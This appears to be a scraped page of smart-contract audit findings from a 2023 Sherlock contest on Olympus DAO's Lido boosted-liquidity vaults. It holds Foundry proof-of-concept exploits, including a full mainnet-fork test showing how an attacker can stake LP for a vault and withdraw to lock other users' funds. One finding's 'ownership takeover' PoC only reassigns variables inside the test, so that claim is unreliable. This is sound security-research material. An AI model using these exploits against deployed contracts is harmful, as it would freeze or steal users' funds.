2023-03-olympus-judging's People
Contributors
Stargazers
Watchers
2023-03-olympus-judging's Issues
CRYP70 - VautOwners will lose wsteth after a partial withdrawal
CRYP70
high
VautOwners will lose wsteth after a partial withdrawal
Summary
Users are able to supply wsteth tokens to the vault are able to freely deposit or withdraw from the vault whilst also claiming rewards in the process. Should the vault owner make a partial withdrawal, the transaction will be reverted and the user wont be able to retrieve their funds.
Vulnerability Detail
This function reverts because on withdrawal the vault will obtain the uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore; where the balance will be zero during the second withdrawal. The increaseAllowance() function will not accept a zero value and will therefore revert. The proof of concept below outlines this scenario:
function testCannotClaimPartial() public {
ERC20 balReward = ERC20(address(aliceVault.bal()));
vm.startPrank(address(alice));
wsteth.approve(address(aliceVault), wsteth.balanceOf(address(alice)));
aliceVault.deposit(100 ether, 0);
uint256[] memory minTokenAmounts = new uint256[](1);
minTokenAmounts[0] = 0 ether;
aliceVault.withdraw(1 ether, minTokenAmounts, true);
vm.expectRevert();
aliceVault.withdraw(99 ether, minTokenAmounts, false); // <-- reverts here: Lost funds
vm.stopPrank();
}Impact
This will cause a Dos of the withdraw() function resulting in the loss of wstETH tokens.
Code Snippet
Tool used
Manual Review
Recommendation
It’s recommended that instead of withdrawing against the ohm balance of the vault, that instead the vault calculates the ratio of ohm and the LpAmount passed as a parameter which is ultimately passed to increaseAllowance().
carrot - Withdrawals can be halted for all users with external staking
carrot
high
Withdrawals can be halted for all users with external staking
Summary
Withdrawals can be bricked by externally depositing stakes and withdrawing through vault. This sets up an underflow condition in totalLP, which reverts for future withdrawals.
Vulnerability Detail
The function deposit and withdraw on BLVaultLido.sol updates a global accounting variable called totalLp which is tracked in the BLVaultManagerLido.sol contract. This is to ensure that only the amount tracked through the deposit function can be withdrawn with the withdraw function. However users can deposit to the vault externally, bypassing the update in the deposit function, and then withdraw normally, pushing down the totalLp accounted for. Other users can no longer withdraw their positions since their withdraw transactions will revert since totalLp is set lower than the actual LP in the vaults.
This can be exploited through the contract deployed at 0x00A7BA8Ae7bca0B10A32Ea1f8e2a1Da980c6CAd2. This is the BaseRewardPool contract of Aura, which is called through this vault to unwrap and withdraw tokens. This contract also has a stake functionality, which is called during the deposit phase to stake on the aura rewards system. However the problematic bit here is another function stakeFor which also exists on this contract. This function allows a user to stake on behalf of another user, which is what is used in the exploit. The exploit is as follows:
| Step | Action | Vault State | Manager totalLp |
|---|---|---|---|
| 1 | Alice deposits 100e18 tokens of LP | Alice: 100e18 | 100e18 |
| 2 | Bob (attacker) deposits only 1e18 of LP | Bob: 1e18 | 101e18 |
| 3 | Bob calls stakeFor on the Aura contract, and stakes 100e18 in his own BoostedVault |
Bob: 101e18 | 101e18 |
| 4 | Bob calls withdraw on the vault, with amount 101e18 |
Bob: 0 | 0 |
| 5 | Alice unable to withdraw anything, since Manager contract's totalLp is 0 and reverting |
Impact
Contract stops withdrawals, causing loss to all users with wstEth in the vault.
Code Snippet
Variables in the manager contract is updated here:
The revert statement is found in :
Relevant code for stakeFor found on address 0x00A7BA8Ae7bca0B10A32Ea1f8e2a1Da980c6CAd2
function stakeFor(address _for, uint256 _amount) public returns (bool) {
_processStake(_amount, _for);
//take away from sender
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
emit Staked(_for, _amount);
return true;
}Tool used
Manual Review
Recommendation
Add an accounting logic for individual vaults.
Define a variable vaultTotalLp, and udpate it in deposit and withdraw just like the manager's totalLp.
This would prevent Bob from withdrawing more LP than he put in.
Duplicate of #4
0x4non - Risk due to 100% maximum fee in `BLVaultManagerLido`
0x4non
medium
Risk due to 100% maximum fee in BLVaultManagerLido
Summary
In the BLVaultManagerLido contract where the maximum fee is set to 100%. This may allow the contract owner to rug pull by setting the fee to 100%.
Vulnerability Detail
The setFee function in the BLVaultManagerLido contract allows the contract owner to set the fee value as long as it does not exceed MAX_FEE, which is currently set to 10_000, equivalent to 100%. This could potentially allow the contract owner to rug pull by setting a fee of 100%.
Impact
If the contract owner sets the fee to 100%, it would mean that users would lose their rewards when interacting with the contract, as the entire rewards amount would be taken as a fee.
Code Snippet
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L86
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L487
Tool used
Manual Review
Recommendation
To mitigate this issue, it is recommended to lower the maximum fee to a reasonable value that would prevent rug pulls while still allowing the platform to charge fees for its services. Consider setting the MAX_FEE to a value that is deemed fair and reasonable by the community or implement a governance mechanism to determine the maximum fee.
Alternatively, you could implement a governance mechanism to allow the community or token holders to vote on the maximum fee value, ensuring a fair and transparent fee structure.
chaduke - getUserPairShare() has a divide-before-multiply precision loss issue
chaduke
medium
getUserPairShare() has a divide-before-multiply precision loss issue
Summary
getUserPairShare() has a divide-before-multiply precision loss issue.
Vulnerability Detail
getUserPairShare() returns a user's pair share:
However, we have a divide-before-multiply issue here:
uint256 userOhmShare = (userLpBalance * balances[0]) / liquidityPool().totalSupply();
uint256 expectedWstethShare = (userOhmShare * wstethOhmPrice) / _OHM_DECIMALS;First, there is a division in the first line above, and then in the second line, we have a multiplication by wstethOhmPrice. As a result, we might lose a precision up to the liquidityPool().totalSupply() here.
Impact
A divide-before-multiply might lead to precision loss up to liquidityPool().totalSupply().
Code Snippet
See above
Tool used
VScode
Manual Review
Recommendation
Change it to multiply-before-divide as follows:
function getUserPairShare() public view override returns (uint256) {
// If total supply is 0 return 0
if (liquidityPool().totalSupply() == 0) return 0;
// Get user's LP balance
uint256 userLpBalance = getLpBalance();
// Get pool balances
(, uint256[] memory balances, ) = vault().getPoolTokens(liquidityPool().getPoolId());
// Get user's share of the wstETH
uint256 userWstethShare = (userLpBalance * balances[1]) / liquidityPool().totalSupply();
// Check pool against oracle price
// getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price
uint256 wstethOhmPrice = manager().getTknOhmPrice();
- uint256 userOhmShare = (userLpBalance * balances[0]) / liquidityPool().totalSupply();
- uint256 expectedWstethShare = (userOhmShare * wstethOhmPrice) / _OHM_DECIMALS;
+ uint256 expectedWstethShare = (userLpBalance * balances[0] * wstethOhmPrice) / liquidityPool().totalSupply() / _OHM_DECIMALS;
return userWstethShare > expectedWstethShare ? expectedWstethShare : userWstethShare;
}0x4non - `MAX_FEE` policy can be bypass on the constructor
0x4non
medium
MAX_FEE policy can be bypass on the constructor
Summary
The MAX_FEE policy can be bypassed during the constructor initialization. This allows the contract owner to set an incorrect fee during deployment, which can potentially lead to unfair fees for users interacting with the platform.
Vulnerability Detail
The MAX_FEE policy is enforced when changing the fee using the setFee function. However, the constructor does not enforce this policy, allowing the owner to set an arbitrary fee during contract deployment. This bypass can lead to undesirable consequences, as the fee may not be in line with the platform's policies or user expectations.
Impact
Owner can set a higher fees without any constraints by mistake.
Code Snippet
Here you can see that there is a check for the fee;
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L485-L490
But here you could notice the lack of check;
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L142
Here is a poc;
--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -239,6 +239,50 @@ contract BLVaultManagerLidoTest is Test {
/// [X] correctly deploys new vault
/// [X] correctly tracks vaults state
+ function testCorrectness_shouldntRevertOnInvalidFee() public {
+ IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
+ ohm: address(ohm),
+ pairToken: address(wsteth),
+ aura: address(aura),
+ bal: address(bal)
+ });
+
+ IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
+ .BalancerData({
+ vault: address(vault),
+ liquidityPool: address(liquidityPool),
+ balancerHelper: address(0)
+ });
+
+ IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
+ pid: uint256(0),
+ auraBooster: address(booster),
+ auraRewardPool: address(auraPool)
+ });
+
+ IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
+ .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});
+
+ IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
+ .OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
+
+
+ // @audit invalid fee should revert
+ vm.expectRevert();
+ vaultManager = new BLVaultManagerLido(
+ kernel,
+ tokenData,
+ balancerData,
+ auraData,
+ address(0),
+ ohmEthPriceFeedData,
+ stethEthPriceFeedData,
+ address(vaultImplementation),
+ 100_000e9,
+ type(uint64).max // fee
+ );
+ }
+
function testCorrectness_deployVaultFailsWhenBLInactive() public {
// Deactivate contract
vaultManager.deactivate();Tool used
Manual Review
Recommendation
Add a check on the constructor to enforce the fee policy;
diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..88fa28a 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -139,6 +139,7 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
// Configure system
{
ohmLimit = ohmLimit_;
+ if (fee_ > MAX_FEE) revert BLManagerLido_InvalidFee();
currentFee = fee_;
}
}J4de - All remaining OHM are burned causing users to lose part of OHM
J4de
medium
All remaining OHM are burned causing users to lose part of OHM
Summary
The remaining OHM in the BLVaultLido contract should be returned to the user
Vulnerability Detail
// https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L187-L194
if (unusedOhm > 0) {
ohm.increaseAllowance(MINTR(), unusedOhm);
manager.burnOhmFromVault(unusedOhm);
}
if (unusedWsteth > 0) {
wsteth.safeTransfer(msg.sender, unusedWsteth);
}When the user Deposits, the remaining OHM will be burned and the remaining wstETH will be returned to the user.In some cases, the remaining OHM may be what the user deserves. For example, wstETH has been used up, but there is some remaining OHM in the process of processing. If this part of OHM is burned, the user will lose something (the user should have deserved it).
Impact
Users may lose some OHM.
Code Snippet
Tool used
Manual Review
Recommendation
Return the portion of OHM that the user deserves to the user.
fat32 - Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
fat32
medium
Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
Summary
Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
a. can only be called by the vault's owner
b. correctly claims rewards from Aura
Please see the POC below which I used Foundry for.
The impact is that I am able to gain ownership and Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000).Vulnerability Detail
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L263-L269Impact
Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
a. can only be called by the vault's owner
b. correctly claims rewards from Aura
Please see the POC below which I used Foundry for.
The impact is that I am able to gain ownership and Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000).Code Snippet
POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
// testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner with the following.
function testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
if (attacker_ == alice) {
vm.prank(alice);
aliceVault.claimRewards();
} else {
bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
vm.expectRevert();
// Try to claim rewards
bob = alice; // fat32 change owner
attacker_ = bob; // fat32 change owner
vm.prank(attacker_);
aliceVault.claimRewards();
}
}# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped
Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x3bd0cc650000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
[97672] BLVaultLidoTest::testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000)
├─ [0] VM::expectRevert()
│ └─ ← ()
├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6)
│ └─ ← ()
├─ [78776] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::claimRewards()
│ ├─ [76049] BLVaultLido::claimRewards() [delegatecall]
│ │ ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
│ │ │ └─ ← true
│ │ ├─ [52152] MockAuraRewardPool::getReward(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, true)
│ │ │ ├─ [46691] MockERC20::mint(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [2350] MockAuraRewardPool::extraRewardsLength() [staticcall]
│ │ │ └─ ← 0
│ │ └─ ← ()
│ └─ ← ()
└─ ← "Call did not revert as expected"
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[PASS] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19714, ~: 19714)
[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406201, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411702)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446027)
[PASS] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 384977, ~: 384960)
[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 600334, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 187.90ms
Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x3bd0cc650000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Encountered a total of 1 failing tests, 12 tests succeededTool used
Foundry + Visual Studio CodeManual Review
Recommendation
To validate owner, use require statement and not if statement.cducrest-brainbot - Inccorrect getOhmTknPrice calculation
cducrest-brainbot
high
Inccorrect getOhmTknPrice calculation
Summary
The calculation for `` does not use the correct values.
Vulnerability Detail
We want to output a value that when multiplied by a wstETH amount yields an OHM amount. I.e. we want ohmPerWsteth.
Not taking decimals into account, we can calculate it as ohmPerWsteth = ethPerWsteth * OhmPerEth = ethPerWsteth / ethPerOhm = stethPerWsteth * ethPerSteth / ethPerOhm = stethPerWsteth / (ethPerOhm * stethPerEth)
The logic is APerB = APerC * CPerB and APerB = 1 / BPerA
The calculation uses stethPerEth in numerator instead of denominator.
Impact
Incorrect value of getOhmTknPrice() used to calculate the amount of OHM to mint on deposit, the value of stethPerEth is currently 0.9977325266 so the difference is not that big. Not enough OHM will be minted and users will receive less LP than they should on deposit, resulting in a financial loss on withdraw.
Code Snippet
function getOhmTknPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate OHM per wstETH (9 decimals)
return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);
}Tool used
Manual Review
Recommendation
Use stethPerWsteth / (ethPerOhm * stethPerEth) calculation
Duplicate of #42
hickuphh3 - User withdrawals can be griefed via indirect vault deposits
hickuphh3
high
User withdrawals can be griefed via indirect vault deposits
Summary
Users can directly deposit their LP tokens into the AURA reward pool, with their vault as the receiver. This causes a discrepancy between the totalLp tracked and the actual amount of LP tokens held by the all vaults, which can be used to grief withdrawals.
Vulnerability Detail
The AuraRewardPool allows the caller to specify a receiver:
function deposit(uint256 assets_, address receiver_) external;Hence, anyone can indirectly credit a vault, which causes the totalLp tracked to be less than the actual amount of LPs held across all vaults. This can cause withdrawals to fail because it decreases the totalLp variable:
// Decrease total LP
manager.decreaseTotalLp(lpAmount_);function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
totalLp -= amount_;
}POC
Kindly view the testGriefDeposit() test case, where the victim's withdrawal will fail with the BLManagerLido_InvalidLpAmount custom error.
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "forge-std/Test.sol";
import {FullMath} from "libraries/FullMath.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IBalancer.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IAura.sol";
import {IERC20} from "src/external/OlympusERC20.sol";
import "src/Kernel.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";
import {OlympusMinter} from "modules/MINTR/OlympusMinter.sol";
import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusBoostedLiquidityRegistry} from "modules/BLREG/OlympusBoostedLiquidityRegistry.sol";
import {OlympusRoles, ROLESv1} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {IBLVaultManagerLido, BLVaultManagerLido} from "policies/BoostedLiquidity/BLVaultManagerLido.sol";
import "policies/BoostedLiquidity/BLVaultLido.sol";
contract BLVaultIntegration is Test {
// wstETH whale
address user = 0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d;
IERC20 liquidityPool = IERC20(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
IERC20 aura = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
IERC20 bal = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);
IERC20 auraBAL = IERC20(0x616e8BfA43F920657B3497DBf40D6b1A02D4608d);
IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
IERC20 wsteth = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
IAuraMiningLib auraMiningLib = IAuraMiningLib(0x744Be650cea753de1e69BF6BAd3c98490A855f52);
IAuraRewardPool auraRewardPool = IAuraRewardPool(0x636024F9Ddef77e625161b2cCF3A2adfbfAd3615);
uint256 pid = 73;
address auraBooster = 0xA57b8d98dAE62B26Ec3bcC4a365338157060B234;
IVault balVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IBalancerHelper balancerHelper = IBalancerHelper(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
MockPriceFeed stethEthPriceFeed = MockPriceFeed(0x86392dC19c0b719886221c78AB11eb8Cf5c52812);
MockPriceFeed ohmEthPriceFeed = MockPriceFeed(0x9a72298ae3886221820B1c878d12D872087D3a23);
// Olympus DAO V3 contracts
Kernel kernel = Kernel(0x2286d7f9639e8158FaD1169e76d1FbC38247f54b);
address executor = kernel.executor();
OlympusMinter minter = OlympusMinter(0xa90bFe53217da78D900749eb6Ef513ee5b6a491e);
OlympusTreasury treasury = OlympusTreasury(0xa8687A15D4BE32CC8F0a8a7B9704a4C3993D9613);
OlympusBoostedLiquidityRegistry blreg = new OlympusBoostedLiquidityRegistry(kernel);
OlympusRoles rolesAdmin = OlympusRoles(0x6CAfd730Dc199Df73C16420C4fCAb18E3afbfA59);
BLVaultManagerLido vaultManager;
BLVaultLido vaultImplementation;
BLVaultLido userVault;
function setUp() public {
vaultImplementation = new BLVaultLido();
IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
ohm: address(ohm),
pairToken: address(wsteth),
aura: address(aura),
bal: address(bal)
});
IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
.BalancerData({
vault: address(balVault),
liquidityPool: address(liquidityPool),
balancerHelper: address(balancerHelper)
});
IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
pid: pid,
auraBooster: auraBooster,
auraRewardPool: address(auraRewardPool)
});
IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
.OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});
IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
.OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
vaultManager = new BLVaultManagerLido(
kernel,
tokenData,
balancerData,
auraData,
address(auraMiningLib),
ohmEthPriceFeedData,
stethEthPriceFeedData,
address(vaultImplementation),
100_000e9,
0
);
// Initialize system
{
vm.startPrank(executor);
// Initialize modules
kernel.executeAction(Actions.InstallModule, address(blreg));
// Activate policies
kernel.executeAction(Actions.ActivatePolicy, address(vaultManager));
kernel.executeAction(Actions.ActivatePolicy, address(this));
vm.stopPrank();
}
// grant this contract liquidity vault admin role
{
rolesAdmin.saveRole("liquidityvault_admin", address(this));
}
// Activate Vault Manager
{
vaultManager.activate();
}
// Prepare user's account
// Create user vault
vm.startPrank(user);
userVault = BLVaultLido(vaultManager.deployVault());
// Approve wstETH to user's vault
wsteth.approve(address(userVault), type(uint256).max);
vm.stopPrank();
}
function testGriefDeposit() public {
//////////////////
/// TEST SETUP ///
//////////////////
uint256 ohmAmt = 1000e9;
uint256 wstethAmt = 1e18;
// send some OHM to attacker
vm.prank(0x1EFFD55a8646F7dC67c7578C20ce575cefeB1120);
ohm.transfer(user, ohmAmt);
address victim = address(123);
vm.prank(user);
wsteth.transfer(victim, wstethAmt);
vm.startPrank(victim);
BLVaultLido victimVault = BLVaultLido(vaultManager.deployVault());
wsteth.approve(address(victimVault), type(uint256).max);
// 1. victim performs a deposit
uint256 victimLpAmt = victimVault.deposit(wstethAmt, 0);
vm.stopPrank();
// 2. attacker manually deposits into bal pool, then aura pool with vault as the receiver
vm.startPrank(user);
_depositInPoolWithVaultAsReceiver(ohmAmt, wstethAmt * 5);
// Check that attacker has more LP than victim
assertGt(auraRewardPool.balanceOf(address(userVault)), auraRewardPool.balanceOf(address(victimVault)));
// attacker then withdraws from user vault
uint256[] memory minAmountsOut = new uint256[](2);
userVault.withdraw(victimLpAmt, minAmountsOut, true);
// 3. victim is unable to withdraw
vm.stopPrank();
vm.expectRevert(BLVaultManagerLido.BLManagerLido_InvalidLpAmount.selector);
vm.prank(victim);
victimVault.withdraw(victimLpAmt, minAmountsOut, true);
}
function _depositInPoolWithVaultAsReceiver(uint256 ohmAmount_, uint256 wstethAmount_) internal {
// Build join pool request
address[] memory assets = new address[](2);
assets[0] = address(ohm);
assets[1] = address(wsteth);
uint256[] memory maxAmountsIn = new uint256[](2);
maxAmountsIn[0] = ohmAmount_;
maxAmountsIn[1] = wstethAmount_;
JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
assets: assets,
maxAmountsIn: maxAmountsIn,
userData: abi.encode(1, maxAmountsIn, 0),
fromInternalBalance: false
});
// Join balancer pool
ohm.approve(address(balVault), ohmAmount_);
wsteth.approve(address(balVault), wstethAmount_);
balVault.joinPool(IBasePool(address(liquidityPool)).getPoolId(), user, user, joinPoolRequest);
// Join aura pool
liquidityPool.approve(address(auraRewardPool), type(uint256).max);
auraRewardPool.deposit(liquidityPool.balanceOf(user), address(userVault));
}
function configureDependencies() external returns (Keycode[] memory dependencies) {}
function requestPermissions() external view returns (Permissions[] memory requests) {
Keycode ROLES_KEYCODE = toKeycode("ROLES");
requests = new Permissions[](2);
requests[0] = Permissions(ROLES_KEYCODE, rolesAdmin.saveRole.selector);
requests[1] = Permissions(ROLES_KEYCODE, rolesAdmin.removeRole.selector);
}
}Impact
User's withdrawals are griefed and permanently locked.
Code Snippet
Tool used
Manual Review, Integration Testing
Recommendation
Consider how the case where vaults are indirectly credited deposits should be handled. From what I see, the tracking of total LPs isn't strictly necessary.
Duplicate of #4
cducrest-brainbot - Abuse decreaseTotalLp for DOS
cducrest-brainbot
high
Abuse decreaseTotalLp for DOS
Summary
The function decreaseTotalLp is called on withdraw of vaults and reverts if amount withdrawn exceeds total LP stored by the vault manager. This assumes that the withdrawn LP have been deposited by the user before, which may be wrong.
A user can LP token on Balancer and reward tokens on Aura, transfer them to the vault (without using the deposit() function) and withdraw() them to break accounting. If the user lowers totalLp to 0, no other user will be able to withdraw their LP.
Vulnerability Detail
withdraw() decreases totalLP on the manager:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L218
The totalLP tracking assume withdrawn LP were once deposited and reverts on unexpected value:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L272-L280
Aura reward poolstakeFor() can be used to increase _balances[vault], allowing the vault to withdraw from aura without having deposited:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/BaseRewardPool.sol#L196-L227
Withdraw function of Aura reward checks for _balances[msg.sender] and calls withdrawTo on Booser:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/BaseRewardPool.sol#L260-L285
Withdraw function of Booster (called by withdrawTo) burns the pool token, which could have been transferred by the user:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/Booster.sol#L483-L509
The rest of the wihtdraw() function of BLVaultLido will run smoothly without specific care from the attacker, it exits the balancer pool using the LP token received from Aura and repays the wstETH / OHM.
Impact
Users can break the tracking of totalLp in the vault manager, preventing other users to withdraw.
The cost of the attack to the user is limited, they mint LP tokens, stake them, and eventually get wstETH back. They lose 50% of the value of the withdraw since they receive only the wstETH and not the OHM (which they had to LP). However, it is sufficient that a user perform this attack with a value of 1 with negligible costs to break accounting.
Code Snippet
Tool used
Manual Review
Recommendation
Add tracking of deposits and withdraw within user vaults so that they can only withdraw what they deposited.
Duplicate of #4
0x52 - Adversary can stake LP directly for the vault then withdraw to break lp accounting in BLVaultManagerLido
0x52
high
Adversary can stake LP directly for the vault then withdraw to break lp accounting in BLVaultManagerLido
Summary
The AuraRewardPool allows users to stake directly for other users. In this case the malicious user could stake LP directly for their vault then call withdraw on their vault. This would cause the LP tracking to break on BLVaultManagerLido. The result is that some users would now be permanently trapped because their vault would revert when trying to withdraw.
Vulnerability Detail
function stakeFor(address _for, uint256 _amount)
public
returns(bool)
{
_processStake(_amount, _for);
//take away from sender
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
emit Staked(_for, _amount);
return true;
}
AuraRewardPool allows users to stake directly for another address with them receiving the staked tokens.
manager.decreaseTotalLp(lpAmount_);
// Unstake from Aura
auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
// Exit Balancer pool
_exitBalancerPool(lpAmount_, minTokenAmounts_);
Once the LP has been stake the adversary can immediately withdraw it from their vault. This calls decreaseTotalLP on BLVaultManagerLido which now permanently break the LP account.
BLVaultManagerLido.sol#L277-L280
function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
totalLp -= amount_;
}
If the amount_ is ever greater than totalLP it will cause decreaseTotalLP to revert. By withdrawing LP that was never deposited to a vault, it permanently breaks other users from being able to withdraw.
Example:
